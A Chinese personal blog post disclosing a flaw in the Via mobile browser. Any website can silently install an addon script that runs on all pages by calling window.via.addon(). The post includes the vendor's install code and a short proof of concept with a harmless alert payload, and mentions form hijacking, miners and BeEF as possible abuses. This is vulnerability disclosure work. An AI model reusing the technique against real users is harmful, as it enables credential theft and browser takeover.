#>

RESTKHZ

_

休止千鹤 | 我依旧是一名平凡的学生

Via浏览器插件小漏洞以及利用

  休止符  |    09/10/2020

Via浏览器插件小漏洞以及利用

缘起

Via浏览器大概是我最喜欢的浏览器,也一直是我一直用着,用了几年的一个浏览器。曾经也用过夸克等等号称轻量的浏览器,功能是不错,然而简约的外表背后谁知道还留了一(几)道。

至于Via小脚本一直很有特色,到2019年5月份才动手打算自己写一点什么。但是开发过程中发现任何站点是可以直接安装插件,这个过程不需要用户参与太多,仅仅提示安装上了。插件js可以在任何页面执行,这造成了一些安全隐患。比如表单咱可以做点手脚,劫持登录信息,装js矿机,或者上个beef之类的。

可以说这个文章没有什么溢出,没有什么二进制,没有怎么逆向,全程简单web,没有解密,只能水坑,没有什么价值。写着玩玩。

<h2>过程</h2>
首先,分析了一下官方安装插件的站点页面,没什么东西,审查元素,安装按下后执行operate()函数,还有一些一眼就能看出是base64的东西,核心部分也就一个JS,关键的js。

格式化后如下:

function(event) {
    var button = $(event.relatedTarget)
    var oid = button.data('where')
    var data = findAddon(oid)
    var name = data.data('name')
    var author = 'powered by @' + data.data('author')
    var info = data.data('info')
    var modal = $(this)
    modal.find('#addonName').html(name)
    modal.find('#addonInfo').html(info)
    modal.find('#addonAuthor').html(author)
})
//太长了 XD
//点开查看完整的
//Click --------------&#x2197;
function operate(id) {//Haben Sie das gesehen?Hier.                    
    var i = findAddon(id)
    var addon_json = JSON.stringify({
        'id': i.data('id'),
        'name': i.data('name'),
        'author': i.data('author'),
        'url': i.data('url'),            //这里是地址 
        'code': i.data('code')           //und hier ist BASE64 code.
    })
    var base64 = new Base64()
    var addon_result = base64.encode(addon_json)
    try {
        window.via.addon(addon_result)
    } catch (error) {
        console.log(error)
    }
    setStauts(id, i.data('status') == 0 ? 1 : 0)
}
function setStauts(id, status) {
    findAddon(id).data('status', status)
    $('#operate-' + id).html(status == 0 ? lang['install'] : lang['uninstall'])
}
function findAddon(id) {
    return $('#addon-' + id)
}
function submitLang() {
    $('#lang-form').submit()
}
$(document).ready(function() {
    var data = '[]'
    try {
        data = window.via.getInstalledAddonID()
    } catch (error) {
        console.log(error)
    }
    var json = JSON.parse(data)
    for (var i = 0; i &lt; json.length; i++) {
        setStauts(json[i], 1)
    }
})

省略了部分base64处理代码。
捋了一下:

大概就是把一个插件json字符串base64一下,丢给window.via.addon(),检查状态,就这样。至于json,主要是code,是已经base64的js,还有url,指定了工作的域名,* Bedeutet alles。

咱们来照猫画虎,按瓢画葫芦

所以我写了一个html,里面就运行一js

function addonApp (appObj) {//安装卸载都是它
appStr = '{author:"restkhz",code:"YWxlcnQoJ3Jlc3RraHonKQ==",id:"9999",name:"TEST",url:"*"}'
var base64 = new Base64()
var addon_result = base64.encode(appStr)
    try {
        window.via.addon(addon_result)
    } catch (error) {
        console.log(error)
    }
    //setStauts(id, i.data('status') == 0 ? 1 : 0)
}
//base64处理代码完全省略
addonApp();

如图,直接访问地址就装上了,顺道还已经执行了。

这里还有一个beef:

补充:由于从wp迁移过来图自然是没了,以后有空补上。

解决方案

我能想的到的,大概就是给插件加开关。默认禁用,除非用户手动打开。不知道实现是否困难?


 views:13

 Comments


1:

这是怎么看的呀,我找了半天没看到那个网站里的有效代码

 Reply


restkhz:

1 said : 这是怎么看的呀,我找了半天没看到那个网站里的有效代码
你下次留言记得留个邮箱我好回复你…… http://via-app.cn/ 这个网站的js目录下的那个app.XXXX.js里直接搜索字符串window.via.addon,你能找到的。 或者搜索“安装成功”这样的字符串,作为提示信息那个函数里都有。这套路和直接爆破某些二进制程序一样XD 另外你在选中一个插件的时候,在Network里都能看到服务器返回json。里面code字段你一定有兴趣 :)

 Reply